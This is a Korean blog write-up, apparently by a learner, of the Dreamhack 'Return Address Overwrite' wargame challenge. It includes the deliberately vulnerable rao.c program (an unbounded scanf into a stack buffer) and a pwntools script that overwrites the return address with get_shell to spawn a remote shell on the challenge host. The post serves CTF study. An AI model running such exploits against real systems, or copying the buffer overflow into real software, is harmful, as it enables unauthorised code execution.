소스코드다
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
주어진 C 코드 rao.c는 간단한 프로그램으로, 입력을 받아서 쉘을 실행하는 기능을 가지고 있습니다. 코드를 단계별로 분석해보겠습니다.
코드 분석
1. 파일 정보 및 컴파일 지시문
- rao.c: 파일 이름입니다.
- gcc -o rao rao.c -fno-stack-protector -no-pie: 이 명령어는 GCC 컴파일러를 사용하여 rao.c 파일을 컴파일하고, rao라는 실행 파일을 생성합니다.
- -fno-stack-protector: 스택 보호 기능을 비활성화합니다. 이는 버퍼 오버플로우 공격에 취약하게 만듭니다.
- -no-pie: 위치 독립 실행 파일(Position Independent Executable)을 비활성화하여, 실행 파일의 메모리 주소가 고정되게 만듭니다.
2. 헤더 파일 포함
- stdio.h: 표준 입출력 함수를 포함합니다.
- unistd.h: UNIX 표준 함수(예: execve)를 포함합니다.
3. 초기화 함수
- setvbuf 함수는 스트림의 버퍼링 모드를 설정합니다.
- stdin: 표준 입력.
- stdout: 표준 출력.
- 0: 기본 스트림을 사용.
- 2: 비어 있는 버퍼를 사용하여, 즉시 출력합니다. (라인 버퍼링 비활성화)
이 함수는 입력과 출력을 즉시 처리하도록 설정합니다.
4. 쉘 실행 함수
- get_shell: /bin/sh를 실행하여 새로운 쉘을 시작하는 함수입니다.
- execve: 지정된 프로그램을 실행하는 시스템 호출입니다.
- cmd: 실행할 프로그램 경로.
- args: 프로그램에 전달할 인자 목록.
- NULL: 환경 변수 없음.
5. main 함수
- char buf[0x28];: 40바이트 크기의 버퍼를 선언합니다. (0x28은 40의 16진수 표현)
- init();: 초기화 함수 호출.
- printf("Input: ");: 사용자에게 입력을 요청하는 메시지를 출력합니다.
- scanf("%s", buf);: 사용자의 입력을 buf에 저장합니다. 여기서 문제가 발생할 수 있습니다.
분석 및 보안 취약점
- 버퍼 오버플로우:
- scanf("%s", buf);를 사용하여 입력을 받지만, 입력 길이를 제한하지 않습니다. 사용자가 40바이트 이상의 데이터를 입력할 경우, buf 배열을 초과하여 메모리를 덮어쓸 수 있습니다. 이로 인해 프로그램의 다른 데이터에 영향을 주거나, 함수의 리턴 주소를 변경하여 공격자가 get_shell()을 실행할 수 있습니다.
- 쉘을 얻기 위한 공격:
- 만약 공격자가 입력을 통해 스택을 조작하고 get_shell() 함수를 호출할 수 있다면, 시스템 쉘을 얻을 수 있습니다. 이로 인해 시스템의 명령을 실행할 수 있는 권한을 가질 수 있습니다.
결론
이 프로그램은 사용자로부터 입력을 받아 간단한 쉘을 실행하는 기능을 가지고 있지만, 버퍼 오버플로우 취약점으로 인해 악의적인 사용자가 쉘을 얻게 되는 가능성이 높습니다. 따라서, 입력을 받을 때는 항상 길이를 제한하거나 안전한 함수를 사용하는 것이 중요합니다. 예를 들어, fgets()를 사용하여 입력 길이를 제한하는 것이 좋습니다.
버퍼 오버플로우 취약점에서 get_shell()함수를 이용하여 flag를 봐야하는것같다.
https://velog.io/@silvergun8291/Dreamhack-Exploit-Tech-Return-Address-Overwrite
[Dreamhack] Exploit Tech: Return Address Overwrite
<취약점 분석>main함수에서 scanf("%s", buf)를 보면 입력 길이에 제한 없이 입력을 받고 있습니다. 그래서 오버플로우 공격이 가능합니다.크기가 0x28 바이트인 버퍼에 입력을 받고 있기 때문에, 0x28
velog.io
캬...이분 글 이미지부터 시작해서 완벽-그자체다-
캬...열심히..열심히 공부해야지!!
https://studyforall.tistory.com/103
[드림핵 워게임] Return Address Overwrite
먼저 문제를 다운로드했다. rao.c부터 살펴본다. main 함수부터 보면 char 배열 변수 buf를 0x28만큼의 크기로 선언한다. 그리고 25행에서 scanf()를 이용해 buf에 사용자 입력값을 저장하는데 scanf()에 입
studyforall.tistory.com
https://blog.naver.com/smart-brain/223061990439
[Stack Buffer Overflow_3] Return Address Overwrite
Introduction 🐳 오늘은 Stack Buffer Overflow에 대한 Return Address Overwrite를 알아보겠습니...
blog.naver.com
https://wonlf.tistory.com/entry/Return-Address-Overwrite
Return Address Overwrite
2022.06.22 - [Pwnable/이론] - Stack Buffer Overflow 여기서 3번째 예제로 보았던 실행흐름조작을 활용하여 셸을 획득해보자. 1. 취약점 분석 // Name: rao.c // Compile: gcc -o rao rao.c -fno-stack-protector -no-pie #include #in
wonlf.tistory.com
https://jjeongsu.tistory.com/17
Exploit Tech: Return Address Overwrite(리턴 주소 변경 및 실습)
이번 글에서는 ret 주소를 버퍼 오버플로우를 통해 변경하는 실습을 함께 해볼 것입니다. 소스 코드: #include #include void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } void get_shell() { char *cmd = "/bin/s
jjeongsu.tistory.com
https://pd6156.tistory.com/238
[dreamhack] Return Address Overwrite
문제 풀이 제공된 파일: rao.c // Name: rao.c // Compile: gcc -o rao rao.c -fno-stack-protector -no-pie #include #include void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } void get_shell() { char *cmd = "/bin/sh"; char *args[] = {cm
pd6156.tistory.com
https://studyforall.tistory.com/103
[드림핵 워게임] Return Address Overwrite
먼저 문제를 다운로드했다. rao.c부터 살펴본다. main 함수부터 보면 char 배열 변수 buf를 0x28만큼의 크기로 선언한다. 그리고 25행에서 scanf()를 이용해 buf에 사용자 입력값을 저장하는데 scanf()에 입
studyforall.tistory.com
마지막 블로거분 글 보고 코드 참고했다.
아키텍쳐x86-64는 리틀 엔디안 방식으로 주소 전달한다.
주소값을 리틀-엔디안 방식으로 넣어줘야한다
저장할때 하위바이트, 즉 작은 쪽을 먼저 저장하는 것
https://softtone-someday.tistory.com/20
[개념정리] 빅엔디안(Big Endian)과 리틀엔디안(Little Endian)
통신을 하다 보면 통신 패킷이 반대로 나갈 때가 있습니다. 예를 들면 1 2 3 4를 보냈는데 막상 받는 쪽에서 들어온 패킷은 4 3 2 1인 거죠 이는 컴퓨터 CPU의 데이터를 저장하는 순서에서 발생하는
softtone-someday.tistory.com
코드 분석
- 라이브러리 임포트:
- pwn 라이브러리를 가져옵니다. 이 라이브러리는 보안 연구 및 익스플로잇 개발에 자주 사용됩니다.
- from pwn import *
- pwn 라이브러리를 가져옵니다. 이 라이브러리는 보안 연구 및 익스플로잇 개발에 자주 사용됩니다.
- 원격 서버 연결:
- 지정된 원격 서버와 포트에 연결합니다. 이 경우 host3.dreamhack.games의 24121 포트에 연결합니다.
-
python코드 복사p = remote("host3.dreamhack.games", 24121)
- 아키텍처 설정:
- 프로그램의 아키텍처를 64비트 AMD 아키텍처로 설정합니다.
-
python코드 복사context.arch = "amd64"
- ELF 파일 로드:
- ./rao라는 ELF 실행 파일을 로드하여, 해당 프로그램의 메타데이터와 심볼 정보를 사용합니다.
-
python코드 복사elf = ELF('./rao')
- get_shell 주소 가져오기:
- get_shell이라는 함수의 메모리 주소를 가져옵니다. 이 주소는 후에 페이로드에서 사용됩니다.
-
python코드 복사get_shell = elf.symbols['get_shell']
- 페이로드 구성:
- 페이로드를 생성합니다.
- b'A' * 0x30: 0x30 바이트(48 바이트)의 A로 채워진 문자열을 생성합니다.
- b'B' * 0x8: 그 다음에 0x8 바이트(8 바이트)의 B로 채워진 문자열을 추가합니다.
- p64(get_shell): get_shell 함수의 주소를 64비트 형식으로 추가합니다. 이는 스택 구조에서 리턴 주소를 덮어쓰는 데 사용됩니다.
- 페이로드를 생성합니다.
-
python코드 복사payload = b'A' * 0x30 payload += b'B' * 0x8 payload += p64(get_shell)
- 페이로드 전송:
- 구성한 페이로드를 원격 서버에 전송합니다.
-
python코드 복사p.sendline(payload)
- 인터랙티브 모드:
- 이제 사용자와 서버 간의 인터랙션을 가능하게 하는 모드로 전환합니다. 이를 통해 서버와의 세션에서 명령을 실행할 수 있습니다.
-
python코드 복사p.interactive()
결론
이 코드는 주로 버퍼 오버플로우 또는 리턴 주소 조작을 통해 원격 서버에서 쉘을 얻기 위한 익스플로잇을 설정하는 과정으로 보입니다. get_shell 함수의 주소를 덮어쓰는 방식으로, 원격 서버에서 쉘을 실행하려는 의도를 가지고 있습니다. 페이로드가 제대로 설계되었다면, 이 과정이 성공적으로 이루어질 것입니다.
추가 질문이나 궁금한 점이 있다면 말씀해 주세요!
스택..스택!!
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[47] IT 비전공자 [dreamhack]simple-ssti문제 풀기 (0) | 2024.10.26 |
---|---|
[46] IT 비전공자 [dreamhack]rev-basic-4문제 풀기 (0) | 2024.10.25 |
[44] IT 비전공자 [dreamhack]rev-basic-2 문제 풀기 (0) | 2024.10.23 |
[43] IT 비전공자 [dreamhack]basic_exploitation_001 문제 풀기 (0) | 2024.10.22 |
[42] IT 비전공자 [dreamhack]rev-basic-3 문제 풀기 (0) | 2024.10.21 |